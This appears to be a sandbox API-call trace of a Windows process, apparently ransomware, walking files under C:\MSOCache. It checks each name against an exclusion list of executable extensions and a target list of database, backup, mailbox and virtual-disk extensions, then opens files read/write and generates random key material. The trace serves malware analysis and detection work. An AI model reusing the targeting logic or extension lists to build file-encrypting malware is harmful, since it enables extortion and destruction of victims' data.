	[0062.719] WriteFile (in: hFile=0x110, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0062.733] CloseHandle (hObject=0x110) returned 1
	[0062.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0062.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0062.734] RtlWakeConditionVariable () returned 0x365f70
	[0062.734] GetCurrentThreadId () returned 0x9cc
	[0062.736] GetCurrentThreadId () returned 0x9cc
	[0062.736] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0063.162] GetCurrentThreadId () returned 0x9cc
	[0063.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e5c0
	[0063.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0063.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0063.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e528
	[0063.162] lstrlenW (lpString=".scr") returned 4
	[0063.162] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0063.162] lstrlenW (lpString=".cmd") returned 4
	[0063.162] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0063.162] lstrlenW (lpString=".dll") returned 4
	[0063.162] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0063.163] lstrlenW (lpString=".bat") returned 4
	[0063.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0063.163] lstrlenW (lpString=".cpl") returned 4
	[0063.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0063.163] lstrlenW (lpString=".sys") returned 4
	[0063.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0063.163] lstrlenW (lpString=".msc") returned 4
	[0063.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0063.163] lstrlenW (lpString=".com") returned 4
	[0063.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0063.163] lstrlenW (lpString=".lnk") returned 4
	[0063.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0063.163] lstrlenW (lpString=".msp") returned 4
	[0063.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0063.163] lstrlenW (lpString=".pif") returned 4
	[0063.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0063.163] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0063.163] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0063.163] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0063.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0063.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5c0 | out: hHeap=0x300000) returned 1
	[0063.166] RtlWakeConditionVariable () returned 0x365f70
	[0063.166] GetCurrentThreadId () returned 0x9cc
	[0063.166] GetCurrentThreadId () returned 0x9cc
	[0063.166] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0063.219] GetCurrentThreadId () returned 0x9cc
	[0063.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e940
	[0063.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e888 | out: hHeap=0x300000) returned 1
	[0063.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0063.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e888
	[0063.219] lstrlenW (lpString=".scr") returned 4
	[0063.219] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".scr") returned 0x0
	[0063.219] lstrlenW (lpString=".cmd") returned 4
	[0063.219] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".cmd") returned 0x0
	[0063.219] lstrlenW (lpString=".dll") returned 4
	[0063.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".dll") returned 0x0
	[0063.220] lstrlenW (lpString=".bat") returned 4
	[0063.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".bat") returned 0x0
	[0063.220] lstrlenW (lpString=".cpl") returned 4
	[0063.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".cpl") returned 0x0
	[0063.220] lstrlenW (lpString=".sys") returned 4
	[0063.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".sys") returned 0x0
	[0063.220] lstrlenW (lpString=".msc") returned 4
	[0063.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".msc") returned 0x0
	[0063.220] lstrlenW (lpString=".com") returned 4
	[0063.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".com") returned 0x0
	[0063.220] lstrlenW (lpString=".lnk") returned 4
	[0063.220] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".lnk") returned 0x0
	[0063.220] lstrlenW (lpString=".msp") returned 4
	[0063.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".msp") returned 0x0
	[0063.221] lstrlenW (lpString=".pif") returned 4
	[0063.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".pif") returned 0x0
	[0063.221] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0063.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0063.221] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0063.221] lstrlenW (lpString=".sqb") returned 4
	[0063.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".sqb") returned 0x0
	[0063.221] lstrlenW (lpString=".ost") returned 4
	[0063.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".ost") returned 0x0
	[0063.221] lstrlenW (lpString=".txt") returned 4
	[0063.221] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".txt") returned 0x0
	[0063.221] lstrlenW (lpString=".mdt") returned 4
	[0063.222] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".mdt") returned 0x0
	[0063.222] lstrlenW (lpString=".BDB") returned 4
	[0063.222] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".BDB") returned 0x0
	[0063.222] lstrlenW (lpString=".eql") returned 4
	[0063.222] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".eql") returned 0x0
	[0063.223] lstrlenW (lpString=".DBF") returned 4
	[0063.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".DBF") returned 0x0
	[0063.223] lstrlenW (lpString=".EQL") returned 4
	[0063.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".EQL") returned 0x0
	[0063.223] lstrlenW (lpString=".FDB") returned 4
	[0063.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".FDB") returned 0x0
	[0063.223] lstrlenW (lpString=".EDB") returned 4
	[0063.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".EDB") returned 0x0
	[0063.223] lstrlenW (lpString=".DACPAC") returned 7
	[0063.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".DACPAC") returned 0x0
	[0063.223] lstrlenW (lpString=".VHD") returned 4
	[0063.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".VHD") returned 0x0
	[0063.223] lstrlenW (lpString=".DBV") returned 4
	[0063.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".DBV") returned 0x0
	[0063.223] lstrlenW (lpString=".dacpac") returned 7
	[0063.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".dacpac") returned 0x0
	[0063.223] lstrlenW (lpString=".sdf") returned 4
	[0063.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".sdf") returned 0x0
	[0063.223] lstrlenW (lpString=".accdb") returned 6
	[0063.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".accdb") returned 0x0
	[0063.223] lstrlenW (lpString=".DBX") returned 4
	[0063.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".DBX") returned 0x0
	[0063.223] lstrlenW (lpString=".MDT") returned 4
	[0063.223] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".MDT") returned 0x0
	[0063.238] lstrlenW (lpString=".SQB") returned 4
	[0063.238] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".SQB") returned 0x0
	[0063.238] lstrlenW (lpString=".vhd") returned 4
	[0063.238] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".vhd") returned 0x0
	[0063.238] lstrlenW (lpString=".bac") returned 4
	[0063.238] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".bac") returned 0x0
	[0063.238] lstrlenW (lpString=".mdf") returned 4
	[0063.238] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".mdf") returned 0x0
	[0063.238] lstrlenW (lpString=".BAK") returned 4
	[0063.238] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".BAK") returned 0x0
	[0063.238] lstrlenW (lpString=".BAC") returned 4
	[0063.238] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".BAC") returned 0x0
	[0063.238] lstrlenW (lpString=".dbs") returned 4
	[0063.238] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".dbs") returned 0x0
	[0063.238] lstrlenW (lpString=".vhdx") returned 5
	[0063.238] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".vhdx") returned 0x0
	[0063.238] lstrlenW (lpString=".NDF") returned 4
	[0063.239] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".NDF") returned 0x0
	[0063.239] lstrlenW (lpString=".dat") returned 4
	[0063.239] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".dat") returned 0x0
	[0063.239] lstrlenW (lpString=".DBS") returned 4
	[0063.239] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".DBS") returned 0x0
	[0063.239] lstrlenW (lpString=".CKP") returned 4
	[0063.239] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".CKP") returned 0x0
	[0063.239] lstrlenW (lpString=".edb") returned 4
	[0063.239] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".edb") returned 0x0
	[0063.239] lstrlenW (lpString=".PST") returned 4
	[0063.239] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".PST") returned 0x0
	[0063.239] lstrlenW (lpString=".dbf") returned 4
	[0063.239] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".dbf") returned 0x0
	[0063.239] lstrlenW (lpString=".SQL") returned 4
	[0063.239] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".SQL") returned 0x0
	[0063.239] lstrlenW (lpString=".pst") returned 4
	[0063.239] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".pst") returned 0x0
	[0063.239] lstrlenW (lpString=".dbv") returned 4
	[0063.239] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".dbv") returned 0x0
	[0063.239] lstrlenW (lpString=".SDF") returned 4
	[0063.239] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".SDF") returned 0x0
	[0063.239] lstrlenW (lpString=".dtxs") returned 5
	[0063.239] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".dtxs") returned 0x0
	[0063.239] lstrlenW (lpString=".db3") returned 4
	[0063.239] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".db3") returned 0x0
	[0063.239] lstrlenW (lpString=".OST") returned 4
	[0063.240] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".OST") returned 0x0
	[0063.240] lstrlenW (lpString=".dbx") returned 4
	[0063.240] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".dbx") returned 0x0
	[0063.240] lstrlenW (lpString=".DB3") returned 4
	[0063.240] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".DB3") returned 0x0
	[0063.240] lstrlenW (lpString=".DAT") returned 4
	[0063.240] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".DAT") returned 0x0
	[0063.240] lstrlenW (lpString=".VHDX") returned 5
	[0063.240] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".VHDX") returned 0x0
	[0063.240] lstrlenW (lpString=".ndf") returned 4
	[0063.240] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".ndf") returned 0x0
	[0063.240] lstrlenW (lpString=".DB") returned 3
	[0063.240] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".DB") returned 0x0
	[0063.240] lstrlenW (lpString=".sql") returned 4
	[0063.240] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".sql") returned 0x0
	[0063.240] lstrlenW (lpString=".MYD") returned 4
	[0063.240] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".MYD") returned 0x0
	[0063.240] lstrlenW (lpString=".DBT") returned 4
	[0063.240] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".DBT") returned 0x0
	[0063.240] lstrlenW (lpString=".ACCDB") returned 6
	[0063.240] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".ACCDB") returned 0x0
	[0063.240] lstrlenW (lpString=".fdb") returned 4
	[0063.240] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".fdb") returned 0x0
	[0063.240] lstrlenW (lpString=".bak") returned 4
	[0063.240] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".bak") returned 0x0
	[0063.240] lstrlenW (lpString=".myd") returned 4
	[0063.241] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".myd") returned 0x0
	[0063.241] lstrlenW (lpString=".DTXS") returned 5
	[0063.241] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".DTXS") returned 0x0
	[0063.241] lstrlenW (lpString=".ckp") returned 4
	[0063.241] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".ckp") returned 0x0
	[0063.241] lstrlenW (lpString=".dbt") returned 4
	[0063.241] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".dbt") returned 0x0
	[0063.241] lstrlenW (lpString=".db") returned 3
	[0063.241] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".db") returned 0x0
	[0063.241] lstrlenW (lpString=".TXT") returned 4
	[0063.241] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".TXT") returned 0x0
	[0063.241] lstrlenW (lpString=".MDF") returned 4
	[0063.241] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".MDF") returned 0x0
	[0063.241] lstrlenW (lpString=".bdb") returned 4
	[0063.241] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".bdb") returned 0x0
	[0063.241] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0063.241] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0063.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39e9f8
	[0063.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0063.241] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39d948) returned 1
	[0063.242] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0063.242] CryptReleaseContext (hProv=0x39d948, dwFlags=0x0) returned 1
	[0063.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0063.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0063.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3eb738
	[0063.243] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=18323282560) returned 1
	[0063.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x92d92b50, dwHighDateTime=0x1d60e1e)) 
	[0063.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0063.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0063.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0063.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0063.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0063.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0063.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x39d948
	[0063.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0063.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6538
	[0063.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d948 | out: hHeap=0x300000) returned 1
	[0063.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0063.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0063.243] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0063.244] GetLastError () returned 0x0
	[0063.244] SetLastError (dwErrCode=0x0) 
	[0063.244] GetLastError () returned 0x0
	[0063.244] SetLastError (dwErrCode=0x0) 
	[0063.244] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0063.244] GetLastError () returned 0x0
	[0063.244] SetLastError (dwErrCode=0x0) 
	[0063.244] GetLastError () returned 0x0
	[0063.244] SetLastError (dwErrCode=0x0) 
	[0063.244] GetLastError () returned 0x0
	[0063.244] SetLastError (dwErrCode=0x0) 
	[0063.244] GetLastError () returned 0x0
	[0063.244] SetLastError (dwErrCode=0x0) 
	[0063.244] GetLastError () returned 0x0
	[0063.244] SetLastError (dwErrCode=0x0) 
	[0063.244] GetLastError () returned 0x0
	[0063.244] SetLastError (dwErrCode=0x0) 
	[0063.244] GetLastError () returned 0x0
	[0063.244] SetLastError (dwErrCode=0x0) 
	[0063.245] GetLastError () returned 0x0
	[0063.245] SetLastError (dwErrCode=0x0) 
	[0063.245] GetLastError () returned 0x0
	[0063.245] SetLastError (dwErrCode=0x0) 
	[0063.245] GetLastError () returned 0x0
	[0063.245] SetLastError (dwErrCode=0x0) 
	[0063.245] GetLastError () returned 0x0
	[0063.245] SetLastError (dwErrCode=0x0) 
	[0063.245] GetLastError () returned 0x0
	[0063.245] SetLastError (dwErrCode=0x0) 
	[0063.245] GetLastError () returned 0x0
	[0063.245] SetLastError (dwErrCode=0x0) 
	[0063.245] GetLastError () returned 0x0
	[0063.245] SetLastError (dwErrCode=0x0) 
	[0063.245] GetLastError () returned 0x0
	[0063.245] SetLastError (dwErrCode=0x0) 
	[0063.245] GetLastError () returned 0x0
	[0063.245] SetLastError (dwErrCode=0x0) 
	[0063.245] GetLastError () returned 0x0
	[0063.245] SetLastError (dwErrCode=0x0) 
